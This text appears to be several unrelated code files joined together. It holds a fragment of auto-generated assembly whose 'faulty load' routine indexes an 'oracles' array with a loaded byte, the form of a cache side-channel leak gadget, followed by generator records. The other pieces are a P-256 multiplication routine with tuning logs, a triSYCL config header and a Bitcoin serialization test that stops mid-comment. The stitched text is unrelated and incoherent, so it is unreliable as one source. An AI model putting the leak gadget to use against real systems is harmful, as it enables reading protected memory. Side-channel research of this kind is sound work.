nop
nop
nop
nop
nop
sub $37510, %r14
lea addresses_WT_ht+0x14b16, %r13
nop
nop
cmp $11647, %rsi
movups (%r13), %xmm1
vpextrq $1, %xmm1, %r14
nop
nop
and $35396, %r14
lea addresses_normal_ht+0x4316, %rax
nop
nop
nop
nop
xor %r14, %r14
movb $0x61, (%rax)
nop
nop
nop
and $61181, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %rax
push %rbp
push %rbx
// Faulty Load
lea addresses_WC+0x6316, %rax
nop
nop
dec %rbx
mov (%rax), %r13d
lea oracles, %rbp
and $0xff, %r13
shlq $12, %r13
mov (%rbp,%r13,1), %r13
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': True}}
{'38': 1483}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
SECTION .text
GLOBAL mul_p256
mul_p256:
sub rsp, 0xd0 ; last 0x30 (6) for Caller - save regs
mov [ rsp + 0xa0 ], rbx; saving to stack
mov [ rsp + 0xa8 ], rbp; saving to stack
mov [ rsp + 0xb0 ], r12; saving to stack
mov [ rsp + 0xb8 ], r13; saving to stack
mov [ rsp + 0xc0 ], r14; saving to stack
mov [ rsp + 0xc8 ], r15; saving to stack
mov rax, [ rsi + 0x8 ]; load m64 x1 to register64
mov r10, [ rsi + 0x10 ]; load m64 x2 to register64
mov r11, [ rsi + 0x0 ]; load m64 x4 to register64
mov rbx, rdx; preserving value of arg2 into a new reg
mov rdx, [ rdx + 0x8 ]; saving arg2[1] in rdx.
mulx rbp, r12, r11; x10, x9<- x4 * arg2[1]
mov rdx, r10; x2 to rdx
mulx r10, r13, [ rbx + 0x18 ]; x85, x84<- x2 * arg2[3]
mulx r14, r15, [ rbx + 0x10 ]; x87, x86<- x2 * arg2[2]
mulx rcx, r8, [ rbx + 0x8 ]; x89, x88<- x2 * arg2[1]
mulx rdx, r9, [ rbx + 0x0 ]; x91, x90<- x2 * arg2[0]
mov [ rsp + 0x0 ], rdi; spilling out1 to mem
xor rdi, rdi
adox r8, rdx
adox r15, rcx
mov rdx, [ rbx + 0x0 ]; arg2[0] to rdx
mulx rcx, rdi, r11; x12, x11<- x4 * arg2[0]
adox r13, r14
mov r14, 0xffffffffffffffff ; moving imm to reg
mov rdx, r14; 0xffffffffffffffff to rdx
mov [ rsp + 0x8 ], r13; spilling x96 to mem
mulx r14, r13, rdi; x25, x24<- x11 * 0xffffffffffffffff
mov rdx, 0x0 ; moving imm to reg
adox r10, rdx
mov rdx, 0xffffffff ; moving imm to reg
mov [ rsp + 0x10 ], r10; spilling x98 to mem
mov [ rsp + 0x18 ], r15; spilling x94 to mem
mulx r10, r15, rdi; x23, x22<- x11 * 0xffffffff
adcx r15, r14
adc r10, 0x0
mov r14, rdx; preserving value of 0xffffffff into a new reg
mov rdx, [ rbx + 0x8 ]; saving arg2[1] in rdx.
mov [ rsp + 0x20 ], rsi; spilling arg1 to mem
mov [ rsp + 0x28 ], r8; spilling x92 to mem
mulx rsi, r8, rax; x44, x43<- x1 * arg2[1]
mov rdx, [ rbx + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x30 ], rsi; spilling x44 to mem
mulx r14, rsi, rax; x46, x45<- x1 * arg2[0]
test al, al
adox r13, rdi
mov rdx, r11; x4 to rdx
mulx r11, r13, [ rbx + 0x10 ]; x8, x7<- x4 * arg2[2]
adcx r12, rcx
adox r15, r12
adcx r13, rbp
setc bpl; spill CF x16 to reg (rbp)
clc;
adcx r8, r14
setc cl; spill CF x48 to reg (rcx)
clc;
adcx rsi, r15
mov r14, 0xffffffff ; moving imm to reg
xchg rdx, rsi; x54, swapping with x4, which is currently in rdx
mulx r12, r15, r14; x67, x66<- x54 * 0xffffffff
mov r14, 0xffffffffffffffff ; moving imm to reg
mov byte [ rsp + 0x38 ], cl; spilling byte x48 to mem
mov [ rsp + 0x40 ], r11; spilling x8 to mem
mulx rcx, r11, r14; x69, x68<- x54 * 0xffffffffffffffff
adox r10, r13
adcx r8, r10
setc r13b; spill CF x57 to reg (r13)
clc;
adcx r15, rcx
setc cl; spill CF x71 to reg (rcx)
clc;
adcx r11, rdx
adcx r15, r8
movzx r11, cl; x72, copying x71 here, cause x71 is needed in a reg for other than x72, namely all: , x72, size: 1
lea r11, [ r11 + r12 ]
mov r12, rdx; preserving value of x54 into a new reg
mov rdx, [ rbx + 0x10 ]; saving arg2[2] in rdx.
mulx r10, r8, rax; x42, x41<- x1 * arg2[2]
setc cl; spill CF x76 to reg (rcx)
clc;
adcx r9, r15
mov rdx, r9; x99 to rdx
mulx r9, r15, r14; x114, x113<- x99 * 0xffffffffffffffff
setc r14b; spill CF x100 to reg (r14)
clc;
adcx r15, rdx
mov r15, rdx; preserving value of x99 into a new reg
mov rdx, [ rbx + 0x18 ]; saving arg2[3] in rdx.
mov byte [ rsp + 0x48 ], r14b; spilling byte x100 to mem
mulx rsi, r14, rsi; x6, x5<- x4 * arg2[3]
mov [ rsp + 0x50 ], r11; spilling x72 to mem
mov r11, 0xffffffff00000001 ; moving imm to reg
mov rdx, r11; 0xffffffff00000001 to rdx
mulx rdi, r11, rdi; x21, x20<- x11 * 0xffffffff00000001
setc dl; spill CF x119 to reg (rdx)
clc;
mov byte [ rsp + 0x58 ], cl; spilling byte x76 to mem
mov rcx, -0x1 ; moving imm to reg
movzx rbp, bpl
adcx rbp, rcx; loading flag
adcx r14, [ rsp + 0x40 ]
setc bpl; spill CF x18 to reg (rbp)
movzx rcx, byte [ rsp + 0x38 ]; load byte memx48 to register64
clc;
mov byte [ rsp + 0x60 ], dl; spilling byte x119 to mem
mov rdx, -0x1 ; moving imm to reg
adcx rcx, rdx; loading flag
adcx r8, [ rsp + 0x30 ]
movzx rcx, bpl; x19, copying x18 here, cause x18 is needed in a reg for other than x19, namely all: , x19, size: 1
lea rcx, [ rcx + rsi ]
adox r11, r14
adox rdi, rcx
mov rsi, 0xffffffff ; moving imm to reg
mov rdx, rsi; 0xffffffff to rdx
mulx r14, rbp, r15; x112, x111<- x99 * 0xffffffff
seto cl; spill OF x38 to reg (rcx)
mov rdx, -0x2 ; moving imm to reg
inc rdx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox rbp, r9
seto r9b; spill OF x116 to reg (r9)
inc rdx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
mov rdx, -0x1 ; moving imm to reg
movzx r13, r13b
adox r13, rdx; loading flag
adox r11, r8
mov rdx, rax; x1 to rdx
mulx rdx, rax, [ rbx + 0x18 ]; x40, x39<- x1 * arg2[3]
adcx rax, r10
adox rax, rdi
setc r13b; spill CF x52 to reg (r13)
movzx r10, byte [ rsp + 0x58 ]; load byte memx76 to register64
clc;
mov r8, -0x1 ; moving imm to reg
adcx r10, r8; loading flag
adcx r11, [ rsp + 0x50 ]
setc r10b; spill CF x78 to reg (r10)
movzx rdi, byte [ rsp + 0x48 ]; load byte memx100 to register64
clc;
adcx rdi, r8; loading flag
adcx r11, [ rsp + 0x28 ]
mov rdi, [ rsp + 0x20 ]; load m64 arg1 to register64
mov r8, [ rdi + 0x18 ]; load m64 x3 to register64
mov [ rsp + 0x68 ], r8; spilling x3 to mem
movzx r8, r9b; x117, copying x116 here, cause x116 is needed in a reg for other than x117, namely all: , x117, size: 1
lea r8, [ r8 + r14 ]
setc r14b; spill CF x102 to reg (r14)
movzx r9, byte [ rsp + 0x60 ]; load byte memx119 to register64
clc;
mov [ rsp + 0x70 ], r8; spilling x117 to mem
mov r8, -0x1 ; moving imm to reg
adcx r9, r8; loading flag
adcx r11, rbp
movzx r9, r13b; x53, copying x52 here, cause x52 is needed in a reg for other than x53, namely all: , x53, size: 1
lea r9, [ r9 + rdx ]
movzx rbp, cl; x62, copying x38 here, cause x38 is needed in a reg for other than x62, namely all: , x62--x63, size: 1
adox rbp, r9
mov rcx, 0xffffffff00000001 ; moving imm to reg
mov rdx, rcx; 0xffffffff00000001 to rdx
mulx r12, rcx, r12; x65, x64<- x54 * 0xffffffff00000001
seto r13b; spill OF x63 to reg (r13)
inc r8; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
mov r9, -0x1 ; moving imm to reg
movzx r10, r10b
adox r10, r9; loading flag
adox rax, rcx
mulx r15, r10, r15; x110, x109<- x99 * 0xffffffff00000001
mov rcx, rdx; preserving value of 0xffffffff00000001 into a new reg
mov rdx, [ rbx + 0x8 ]; saving arg2[1] in rdx.
mulx r8, r9, [ rsp + 0x68 ]; x134, x133<- x3 * arg2[1]
mov rdx, [ rbx + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x78 ], r8; spilling x134 to mem
mulx rcx, r8, [ rsp + 0x68 ]; x136, x135<- x3 * arg2[0]
adox r12, rbp
movzx rbp, r13b; x83, copying x63 here, cause x63 is needed in a reg for other than x83, namely all: , x83, size: 1
mov [ rsp + 0x80 ], r9; spilling x133 to mem
mov r9, 0x0 ; moving imm to reg
adox rbp, r9
dec r9; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1))
movzx r14, r14b
adox r14, r9; loading flag
adox rax, [ rsp + 0x18 ]
mov r14, [ rsp + 0x8 ]; x105, copying x96 here, cause x96 is needed in a reg for other than x105, namely all: , x105--x106, size: 1
adox r14, r12
mov r13, [ rsp + 0x70 ]; x122, copying x117 here, cause x117 is needed in a reg for other than x122, namely all: , x122--x123, size: 1
adcx r13, rax
mov r12, [ rsp + 0x10 ]; x107, copying x98 here, cause x98 is needed in a reg for other than x107, namely all: , x107--x108, size: 1
adox r12, rbp
adcx r10, r14
adcx r15, r12
seto bpl; spill OF x128 to reg (rbp)
adc bpl, 0x0
movzx rbp, bpl
adox r8, r11
mov r11, 0xffffffffffffffff ; moving imm to reg
mov rdx, r8; x144 to rdx
mulx r8, rax, r11; x159, x158<- x144 * 0xffffffffffffffff
mov r14, 0xffffffff ; moving imm to reg
mulx r12, r9, r14; x157, x156<- x144 * 0xffffffff
adcx r9, r8
mov r8, 0x0 ; moving imm to reg
adcx r12, r8
clc;
adcx rcx, [ rsp + 0x80 ]
setc r14b; spill CF x138 to reg (r14)
clc;
adcx rax, rdx
adox rcx, r13
adcx r9, rcx
mov rax, rdx; preserving value of x144 into a new reg
mov rdx, [ rbx + 0x10 ]; saving arg2[2] in rdx.
mulx r13, rcx, [ rsp + 0x68 ]; x132, x131<- x3 * arg2[2]
mov byte [ rsp + 0x88 ], bpl; spilling byte x128 to mem
setc bpl; spill CF x166 to reg (rbp)
mov [ rsp + 0x90 ], r15; spilling x126 to mem
seto r15b; spill OF x147 to reg (r15)
mov [ rsp + 0x98 ], r12; spilling x162 to mem
mov r12, r9; x174, copying x165 here, cause x165 is needed in a reg for other than x174, namely all: , x184, x174--x175, size: 2
sub r12, r11
dec r8; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1))
movzx r14, r14b
adox r14, r8; loading flag
adox rcx, [ rsp + 0x78 ]
mov rdx, [ rbx + 0x18 ]; arg2[3] to rdx
mulx r14, r8, [ rsp + 0x68 ]; x130, x129<- x3 * arg2[3]
mov r11, 0xffffffff00000001 ; moving imm to reg
mov rdx, rax; x144 to rdx
mulx rdx, rax, r11; x155, x154<- x144 * 0xffffffff00000001
adox r8, r13
mov r13, 0x0 ; moving imm to reg
adox r14, r13
dec r13; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1))
movzx r15, r15b
adox r15, r13; loading flag
adox r10, rcx
seto r15b; spill OF x149 to reg (r15)
inc r13; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
mov rcx, -0x1 ; moving imm to reg
movzx rbp, bpl
adox rbp, rcx; loading flag
adox r10, [ rsp + 0x98 ]
seto bpl; spill OF x168 to reg (rbp)
mov r13, r10; x176, copying x167 here, cause x167 is needed in a reg for other than x176, namely all: , x176--x177, x185, size: 2
mov rcx, 0xffffffff ; moving imm to reg
sbb r13, rcx
mov rcx, 0x0 ; moving imm to reg
dec rcx; OF<-0x0, preserve CF (debug: state 4 (thanks Paul))
movzx r15, r15b
adox r15, rcx; loading flag
adox r8, [ rsp + 0x90 ]
movzx r15, byte [ rsp + 0x88 ]; x152, copying x128 here, cause x128 is needed in a reg for other than x152, namely all: , x152--x153, size: 1
adox r15, r14
seto r14b; spill OF x153 to reg (r14)
inc rcx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
mov rcx, -0x1 ; moving imm to reg
movzx rbp, bpl
adox rbp, rcx; loading flag
adox r8, rax
adox rdx, r15
movzx rax, r14b; x173, copying x153 here, cause x153 is needed in a reg for other than x173, namely all: , x173, size: 1
mov rbp, 0x0 ; moving imm to reg
adox rax, rbp
mov r14, r8; x178, copying x169 here, cause x169 is needed in a reg for other than x178, namely all: , x178--x179, x186, size: 2
sbb r14, 0x00000000
mov r15, rdx; x180, copying x171 here, cause x171 is needed in a reg for other than x180, namely all: , x180--x181, x187, size: 2
sbb r15, r11
sbb rax, 0x00000000
cmovc r13, r10; if CF, x185<- x167 (nzVar)
cmovc r14, r8; if CF, x186<- x169 (nzVar)
mov rax, [ rsp + 0x0 ]; load m64 out1 to register64
mov [ rax + 0x10 ], r14; out1[2] = x186
mov [ rax + 0x8 ], r13; out1[1] = x185
cmovc r12, r9; if CF, x184<- x165 (nzVar)
cmovc r15, rdx; if CF, x187<- x171 (nzVar)
mov [ rax + 0x18 ], r15; out1[3] = x187
mov [ rax + 0x0 ], r12; out1[0] = x184
mov rbx, [ rsp + 0xa0 ]; restoring from stack
mov rbp, [ rsp + 0xa8 ]; restoring from stack
mov r12, [ rsp + 0xb0 ]; restoring from stack
mov r13, [ rsp + 0xb8 ]; restoring from stack
mov r14, [ rsp + 0xc0 ]; restoring from stack
mov r15, [ rsp + 0xc8 ]; restoring from stack
add rsp, 0xd0
ret
; cpu Intel(R) Core(TM) i7-6770HQ CPU @ 2.60GHz
; clocked at 2600 MHz
; first cyclecount 94.45, best 70.48598130841121, lastGood 73.26415094339623
; seed 1973146713415797
; CC / CFLAGS clang / -march=native -mtune=native -O3
; time needed: 1067361 ms / 60000 runs=> 17.78935ms/run
; Time spent for assembling and measureing (initial batch_size=106, initial num_batches=101): 231808 ms
; Ratio (time for assembling + measure)/(total runtime for 60000runs): 0.21717863028534862
; number reverted permutation/ tried permutation: 23924 / 29982 =79.795%
; number reverted decision/ tried decision: 22854 / 30019 =76.132% |
Name: ys_hmap.asm
Type: file
Size: 95396
Last-Modified: '2016-05-13T04:51:16Z'
SHA-1: 6D36899D15A1270F99FFC4061FD8C111B824B1F0
Description: null
|
#ifndef TRISYCL_SYCL_DETAIL_GLOBAL_CONFIG_HPP
#define TRISYCL_SYCL_DETAIL_GLOBAL_CONFIG_HPP
/** \file The OpenCL SYCL details on the global triSYCL configuration
Ronan at Keryell point FR
This file is distributed under the University of Illinois Open Source
License. See LICENSE.TXT for details.
*/
/** \addtogroup defaults Manage default configuration and types
@{
*/
// The following symbols can be set to implement a different version
#ifndef CL_SYCL_LANGUAGE_VERSION
/// This implement SYCL 2.2
#define CL_SYCL_LANGUAGE_VERSION 220
#endif
#ifndef TRISYCL_CL_LANGUAGE_VERSION
/// This implement triSYCL 2.2
#define TRISYCL_CL_LANGUAGE_VERSION 220
#endif
/// This source is compiled by a single source compiler
#define __SYCL_SINGLE_SOURCE__
/* Work-around an old Boost.CircularBuffer bug if a pre 1.62 Boost
version is used */
#define TRISYCL_MAKE_BOOST_CIRCULARBUFFER_THREAD_SAFE
/** Define TRISYCL_OPENCL to add OpenCL
triSYCL can indeed work without OpenCL if only host support is needed.
*/
#ifdef TRISYCL_OPENCL
// SYCL interoperation API with OpenCL requires some OpenCL C types:
#if defined(__APPLE__)
#include <OpenCL/cl.h>
#else
#include <CL/cl.h>
#endif
// But the triSYCL OpenCL implementation is actually based on Boost.Compute
#include <boost/compute.hpp>
/// A macro to keep some stuff in OpenCL mode
#define TRISYCL_SKIP_OPENCL(x) x
#else
/// A macro to skip stuff when not supporting OpenCL
#define TRISYCL_SKIP_OPENCL(x)
#endif
/// @} End the defaults Doxygen group
// Compiler specific weak linking (until changing to C++17 inline variables/functions)
#ifndef TRISYCL_WEAK_ATTRIB_PREFIX
#ifdef _MSC_VER
#define TRISYCL_WEAK_ATTRIB_PREFIX __declspec(selectany)
#define TRISYCL_WEAK_ATTRIB_SUFFIX
#else
#define TRISYCL_WEAK_ATTRIB_PREFIX
#define TRISYCL_WEAK_ATTRIB_SUFFIX __attribute__((weak))
#endif
#endif
// Suppress usage/leak of macros originating from Visual C++ headers
#ifdef _MSC_VER
#define NOMINMAX
#endif
/*
# Some Emacs stuff:
### Local Variables:
### ispell-local-dictionary: "american"
### eval: (flyspell-prog-mode)
### End:
*/
#endif // TRISYCL_SYCL_DETAIL_GLOBAL_CONFIG_HPP
|
// Copyright (c) 2012-2017 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <serialize.h>
#include <streams.h>
#include <hash.h>
#include <test/test_iridium.h>
#include <stdint.h>
#include <boost/test/unit_test.hpp>
BOOST_FIXTURE_TEST_SUITE(serialize_tests, BasicTestingSetup)
class CSerializeMethodsTestSingle
{
protected:
int intval;
bool boolval;
std::string stringval;
const char* charstrval;
CTransactionRef txval;
public:
CSerializeMethodsTestSingle() = default;
CSerializeMethodsTestSingle(int intvalin, bool boolvalin, std::string stringvalin, const char* charstrvalin, CTransaction txvalin) : intval(intvalin), boolval(boolvalin), stringval(std::move(stringvalin)), charstrval(charstrvalin), txval(MakeTransactionRef(txvalin)){}
ADD_SERIALIZE_METHODS;
template <typename Stream, typename Operation>
inline void SerializationOp(Stream& s, Operation ser_action) {
READWRITE(intval);
READWRITE(boolval);
READWRITE(stringval);
READWRITE(FLATDATA(charstrval));
READWRITE(txval);
}
bool operator==(const CSerializeMethodsTestSingle& rhs)
{
return intval == rhs.intval && \
boolval == rhs.boolval && \
stringval == rhs.stringval && \
strcmp(charstrval, rhs.charstrval) == 0 && \
*txval == *rhs.txval;
}
};
class CSerializeMethodsTestMany : public CSerializeMethodsTestSingle
{
public:
using CSerializeMethodsTestSingle::CSerializeMethodsTestSingle;
ADD_SERIALIZE_METHODS;
template <typename Stream, typename Operation>
inline void SerializationOp(Stream& s, Operation ser_action) {
READWRITEMANY(intval, boolval, stringval, FLATDATA(charstrval), txval);
}
};
BOOST_AUTO_TEST_CASE(sizes)
{
BOOST_CHECK_EQUAL(sizeof(char), GetSerializeSize(char(0), 0));
BOOST_CHECK_EQUAL(sizeof(int8_t), GetSerializeSize(int8_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(uint8_t), GetSerializeSize(uint8_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(int16_t), GetSerializeSize(int16_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(uint16_t), GetSerializeSize(uint16_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(int32_t), GetSerializeSize(int32_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(uint32_t), GetSerializeSize(uint32_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(int64_t), GetSerializeSize(int64_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(uint64_t), GetSerializeSize(uint64_t(0), 0));
BOOST_CHECK_EQUAL(sizeof(float), GetSerializeSize(float(0), 0));
BOOST_CHECK_EQUAL(sizeof(double), GetSerializeSize(double(0), 0));
// Bool is serialized as char
BOOST_CHECK_EQUAL(sizeof(char), GetSerializeSize(bool(0), 0));
// Sanity-check GetSerializeSize and c++ type matching
BOOST_CHECK_EQUAL(GetSerializeSize(char(0), 0), 1);
BOOST_CHECK_EQUAL(GetSerializeSize(int8_t(0), 0), 1);
BOOST_CHECK_EQUAL(GetSerializeSize(uint8_t(0), 0), 1);
BOOST_CHECK_EQUAL(GetSerializeSize(int16_t(0), 0), 2);
BOOST_CHECK_EQUAL(GetSerializeSize(uint16_t(0), 0), 2);
BOOST_CHECK_EQUAL(GetSerializeSize(int32_t(0), 0), 4);
BOOST_CHECK_EQUAL(GetSerializeSize(uint32_t(0), 0), 4);
BOOST_CHECK_EQUAL(GetSerializeSize(int64_t(0), 0), 8);
BOOST_CHECK_EQUAL(GetSerializeSize(uint64_t(0), 0), 8);
BOOST_CHECK_EQUAL(GetSerializeSize(float(0), 0), 4);
BOOST_CHECK_EQUAL(GetSerializeSize(double(0), 0), 8);
BOOST_CHECK_EQUAL(GetSerializeSize(bool(0), 0), 1);
}
BOOST_AUTO_TEST_CASE(floats_conversion)
{
// Choose values that map unambiguously to binary floating point to avoid
// rounding issues at the compiler side.
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x00000000), 0.0F);
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x3f000000), 0.5F);
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x3f800000), 1.0F);
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x40000000), 2.0F);
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x40800000), 4.0F);
BOOST_CHECK_EQUAL(ser_uint32_to_float(0x44444444), 785.066650390625F);
BOOST_CHECK_EQUAL(ser_float_to_uint32(0.0F), 0x00000000);
BOOST_CHECK_EQUAL(ser_float_to_uint32(0.5F), 0x3f000000);
BOOST_CHECK_EQUAL(ser_float_to_uint32(1.0F), 0x3f800000);
BOOST_CHECK_EQUAL(ser_float_to_uint32(2.0F), 0x40000000);
BOOST_CHECK_EQUAL(ser_float_to_uint32(4.0F), 0x40800000);
BOOST_CHECK_EQUAL(ser_float_to_uint32(785.066650390625F), 0x44444444);
}
BOOST_AUTO_TEST_CASE(doubles_conversion)
{
// Choose values that map unambiguously to binary floating point to avoid
// rounding issues at the compiler side.
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x0000000000000000ULL), 0.0);
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x3fe0000000000000ULL), 0.5);
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x3ff0000000000000ULL), 1.0);
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x4000000000000000ULL), 2.0);
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x4010000000000000ULL), 4.0);
BOOST_CHECK_EQUAL(ser_uint64_to_double(0x4088888880000000ULL), 785.066650390625);
BOOST_CHECK_EQUAL(ser_double_to_uint64(0.0), 0x0000000000000000ULL);
BOOST_CHECK_EQUAL(ser_double_to_uint64(0.5), 0x3fe0000000000000ULL);
BOOST_CHECK_EQUAL(ser_double_to_uint64(1.0), 0x3ff0000000000000ULL);
BOOST_CHECK_EQUAL(ser_double_to_uint64(2.0), 0x4000000000000000ULL);
BOOST_CHECK_EQUAL(ser_double_to_uint64(4.0), 0x4010000000000000ULL);
BOOST_CHECK_EQUAL(ser_double_to_uint64(785.066650390625), 0x4088888880000000ULL);
}
/*
Python code to generate the below hashes:
def reversed_hex(x):
return binascii.hexlify(''.join(reversed(x)))
def dsha256(x):
return hashlib.sha256(hashlib.sha256(x).digest()).digest()
